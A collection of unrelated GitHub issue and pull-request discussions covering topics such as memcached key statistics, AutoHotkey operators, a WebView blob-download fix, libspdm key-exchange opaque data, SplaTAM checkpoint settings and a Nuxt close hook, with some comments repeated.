I think this is the same as microsoft/qsharp-runtime#22 - it seems like a compiler bug, should the runtime issue be transferred/closed as a duplicate?

I have transferred that issue to this repository as issue #458 - since it was filed first initially, I'll close this one, and we can can continue the discussion over there. :)


Number of queries to query top key

Can I have a command to query the query times or frequency of top keys? Memcached in production doubled the QPS in an instant, but I don't know which keys were queried and this problem occurred.This is very important to me. Thank you

There are no built in facilities for this, but you can use watch fetchers and watch mutations commands (see doc/protocol.txt) and some tooling to get an idea of what your top keys are.


if var in/contains matchlist

v2 changes says in and contains are reserved for future use
https://autohotkey.com/boards/viewtopic.php?f=37&t=23033
notes from:
https://autohotkey.com/docs/commands/IfIn.htm

Two consecutive commas results in a single literal comma. For example, the following would produce a single literal comma at the end of string1: If Var In string1,,,string2. Similarly, the following list contains only a single item with a literal comma inside it: If Var In single,,item. To include a blank item in the list, make the first character a comma as in this example: If Var In ,string1,string2 (when using the "contains" operator, a blank item will always result in a match since the empty string is found in all strings).

The comparison is always done alphabetically, not numerically. For example, the string "11" would not match the list item "11.0".

The "contains" operator is the same as using IfInString/IfNotInString except that multiple search strings are supported (any one of which will cause a match).

StringCaseSense On can be used to make the comparison case sensitive.

suggested replacements from AHK docs:
https://www.autohotkey.com/docs/commands/IfIn.htm#Remarks

The operators "in" and "contains" are not supported in expressions. Instead, use If statements such as if (Var ~= "iAD)Value1|Value2") for "in" or if (Var ~= "i)Value1|Value2") for "contains" to simulate the behavior of these operators.

This is implemented


fix: add onBlobFileDownload to prevent crash when open link start with blob in android

Similar with #1546 and #1760, But adding a new api(onBlobFileDownload) to pass through url of blob link for resolving it outside.

this is exactly what I need for handling the blob files downloads. I hope it gets merged soon.

this is exactly what I need for handling the blob files downloads. I hope it gets merged soon.

@twisger Great work!
@jamonholmgren  Looks like CI for Windows failed on the mention of __builtin_clz, which is a GNU builtin (GCC extension) that is undefined on Microsoft compilers.
GCC defines this builtin as:

Built-in Function: int __builtin_clz (unsigned int x)
Returns the number of leading 0-bits in x, starting at the most significant bit position. If x is 0, the result is undefined.

@twisger Great work!
@jamonholmgren  Looks like CI for Windows failed on the mention of __builtin_clz, which is a GNU builtin (GCC extension) that is undefined on Microsoft compilers.
GCC defines this builtin as:

Built-in Function: int __builtin_clz (unsigned int x)
Returns the number of leading 0-bits in x, starting at the most significant bit position. If x is 0, the result is undefined.

Being the devil's advocate here but isn't it possible to match iOS behavior maybe ? Would be best for the users if they don't have to implement differently for each platform

Being the devil's advocate here but isn't it possible to match iOS behavior maybe ? Would be best for the users if they don't have to implement differently for each platform

Being the devil's advocate here but isn't it possible to match iOS behavior maybe ? Would be best for the users if they don't have to implement differently for each platform

I tried to make it trigger onShouldStartLoadWithRequest in android and success, but it will cause a cycle call. onShouldStartLoadWithRequest will trigger download event again.Maybe adding some tags to request can resolve this issue, but I prefer adding a new API.

Being the devil's advocate here but isn't it possible to match iOS behavior maybe ? Would be best for the users if they don't have to implement differently for each platform

I tried to make it trigger onShouldStartLoadWithRequest in android and success, but it will cause a cycle call. onShouldStartLoadWithRequest will trigger download event again.Maybe adding some tags to request can resolve this issue, but I prefer adding a new API.


Handling of key exchange opaque data

In DSP277 the opaque data field in KEY_EXCHANGE / PSK_EXCHANGE is used by the Requester to specify which 277 versions it supports, and is used by the Responder to select the session's 277 version. Currently, libspdm, which requires 277 for secure sessions, is lenient on the opaque data evaluated by an endpoint. In particular https://github.com/DMTF/libspdm/blob/88803c35e1b4ddf20a39866e6f74b3e105861b0c/library/spdm_requester_lib/libspdm_req_key_exchange.c#L576-L585 Ie, if the Responder doesn't send any opaque data the Requester is OK with that. Do we want this behavior, or should it be more strict?

Current behavior is that if integrator provisioned secured_message_version, then it is required. Otherwise, the opaque data is ignored.
That leaves maximum flexibility, if both endpoints know how to process it based upon current spec. (everything is compatible)
We need check DSP0277 to see if this is mandatory. If yes (mandatory), we need:

force integrator to register secured_message_version.
check the existence of opaque data.

Based on https://github.com/DMTF/libspdm/issues/1986#issuecomment-1528811101 let's require secured message versions and opaque data to establish a secure session.

Now that I am older and wiser it looks like either the 277 version is negotiated or the transport binding specification (for example DSP0276) is negotiated. So libspdm needs to know, based on the transport binding specification, whether the version values are 277 or the transport binding specification itself.
I filed https://github.com/DMTF/SPDM-WG/issues/3509 to clear up some confusion on DSP0276


Fix error wrapping on recursive calls

Now the error looks like: dispatch: max call depth exceeded

Thank you. I'll inform the reporter


Move genome_annotation.html to index.html to include content in sidebar

Following Anne's discovery that the Genebuild documentation was missing from the sidebar:
moved the genome annotation notes to the file "index.html" (on Anne's advice)

Thanks, Leanne! I'll need to check for broken links before we push it all live, but this is a good start.


How to make screenshots?

I want my app automatically capture over 10-20 random screenshots from the mp4 video in the torrent, without downloading it, but I can't find this feauture in the API.

Without downloading it? It's impossible. You can select the 10-20 random parts to screenshots selecting 10-20 random pieces, but those will definitely be downloaded.
This feature is not part of a torrent client function, must be built on top of it. Would be great that if you find it or build it, that you shared it with us :)

@DiegoRBaquero I incorrectly explained my idea - yes, I have to download this pieces, but I don't want to download full videofile. For example, in WebTorrent, when we start downaloding some video, we can see preview in main menu. So by this way I want to get "screenshots".

@iLeonidze You can see the code for how we do this in WebTorrenT Desktop here: https://github.com/feross/webtorrent-desktop/blob/64f49e4d4fa742d18809e54be3edd93d65055c39/src/renderer/lib/torrent-poster.js
We take advantage of the fact that we're running in a browser context (since it's an Electron app) to implement it simply. Basically, we add the video file to a <video> tag, then we seek to the part we want to screenshot and pull out the pixel data using a canvas. You can see that part here: https://github.com/feross/webtorrent-desktop/blob/64f49e4d4fa742d18809e54be3edd93d65055c39/src/renderer/lib/capture-video-frame.js
I plan to pull these out into their own npm packages so you can use them more easily.

Here's one of them: capture-frame https://github.com/feross/capture-frame


MathJax in Blogger

Dear all,
I wrote some equations in a post of blogger previously I put code to use MathJax, math sentences are showen successful however in android in the cellphone just I see the LaTeX code I mean math sentences dont rendered.
Coud you tell me why this is happening?
Regards,

I suspect that there is a separate theme file for mobile devices like the android, and that you have to modify that one as well.  You may have to ask the blogger community about that.  Google "blogger mobile theme" may get you some help for how to modify the mobile theme.  It looks like setting the mobile theme to "custom" is an important step, but it also seems that you have to make the same edits to the mobile theme that you did to the desktop theme.


'N' hotkey in pulse table not implemented properly yet

N action in pulse table currently directly copies the functionality of the wave table's which is not correct.

fixed


Feature/#165 sc page change

What does this pull request aim to achieve?

Need to update all styles and text based on the latest designs on Figma.
Designs need to be more pixel perfect.

https://github.com/FightPandemics/FightPandemics/issues/165

@robinv85  Thank you. I adjust the hard code color.

lgtm, please fix the conflict before it can be merged.

Could you try to rebase your branch to master? There are some conflicts when I try to rebase.
Thanks @jherkyesse !


A question about the " f.write() " function !

Thank you so much, your script is very helpful. But When I first ran it, A error called " gbk can not decode charactor ..... in position ... "  was raised, then I modify
line 173
with open(os.path.join(prob_dir, filename)) as f:
to
with open(os.path.join(prob_dir, filename), "w", encoding='utf-8') as f:
then it worked well.
Maybe that was a bug? I am not sure.

It's probably because some of your solutions seem to have some special characters in them that are outside the ANSI range. I will take your suggestion and explicitly set the encoding to UTF-8. Thanks!


fix saving checkpoint at every iteration

saving a checkpoint for every iteration only worked for me after removing  time_idx % from this line
I used this in conjunction with: https://github.com/spla-tam/SplaTAM/pull/29 to make ply files that I was able to view with https://playcanvas.com/super-splat
Thanks for the great work!

Hi, Thanks for trying out our code! This is not a bug, and checkpointing works correctly on our end. For checkpointing, you need to update the save_checkpoints and checkpoint_interval parameters in the following example config file: https://github.com/spla-tam/SplaTAM/blob/bbaf5cc5754bf1034b33902007872c694e412a31/configs/iphone/splatam.py#L46

I used the splatam.py in the replica config dir  (I don't have an iphone)
To get a checkpoint on every iteration I set
    save_checkpoints=True, # Save Checkpoints
    checkpoint_interval=0, # Checkpoint Interval

I used this as a starting point because I want to feed stable diffusion images (with their respective depth images) into splatam and just wanted to check how splatam reacts to a single image and if the splats are good.
Do you have any thoughts on making this work with marigold depth images?
The iphone produces absolute depth information while marigold is relative, right?
... not sure yet if I should start hacking based on this code base or if it is better to start from scratch ...
The end goal is to pick camera positions and let stable diffusion inpaint something (then let splatam embed it into the splat) then pick the next position and therefore iteratively make a 3d scene with stable diffusion and gaussian splats.

@spirobel it's using modulo arithmetic so if you want a checkpoint every iteration you need to set checkpoint_interval to 1, not zero.

oh yeah, if you have relative depth rather than absolute you might want to investigate using the pearson correlation coefficient computed over the depth prediction from the model and your depth map.  I've seen some work that uses PCC over the full depth and others that do it patchwise.

Hi, as @rosejn mentioned, the checkpoint_interval needs to be set to 1 (it can't be 0) (this is not specific to the iPhone config file; it works with any other config file).
The experiment sounds interesting! We have been looking at PatchFusion monocular depth for Outdoor SplaTAMs (video shared below).
Please open a new issue to discuss using monocular relative depth images for SplaTAM.
https://github.com/spla-tam/SplaTAM/assets/56788999/1e68dab0-12c9-44a3-b027-ff4f1f6a2601


Teach git diff --color-words to be helpful when there are merge conflicts

Note: this project is technically challenging, as it touches two complex parts of Git's code: the diff machinery and the staging area/worktree with conflicts.
The --color-words option allows visualizing differences between two file versions on a word-level (rather than a line-level).
Currently, the --color-words option is totally ignored when visualizing merge conflicts in a worktree. All conflicted lines, including the conflict markers, are marked in green, as if the --color-words option had not been present at all.
A much more useful thing to do would be to build temporary buffers from the two sides of each conflict and then present the color diff of those buffers (the first side with an implied --reverse).
In case that it is a diff3 style conflict, there are three sides in each merge conflict (the "middle" one being the base), so the first side could show a --color-words diff between base and the first side, and the last side could equally show a --color-words diff between base and the last side.

Oops.  Wrong repo.  😕

Oops. Wrong repo. 😕

Whoa! Hahaha. I guess I need more sleep.


Nuxt hook not called

Versions

nuxt: latest
node: v12.18.2

Steps to reproduce
Just create a module :
export default function ShutdownGracefully (moduleOptions) {
  	this.nuxt.hook('close', async (nuxt) => {
	  console.log('closed !')
	})

	this.nuxt.hook('ready', async (nuxt) => {
	  console.log('ready !')
	})
}

What is Expected?
ready (when i lauch the app) & close(when i kill the app : SIGINT signal) hook should be called
What is actually happening?
only ready is called and not close hook (i shutdown my app obviously to test)
App [app:0] exited with code [1] via signal [SIGINT]

+1
How to close the nuxt instance process normally? CTRL + C or kill -9?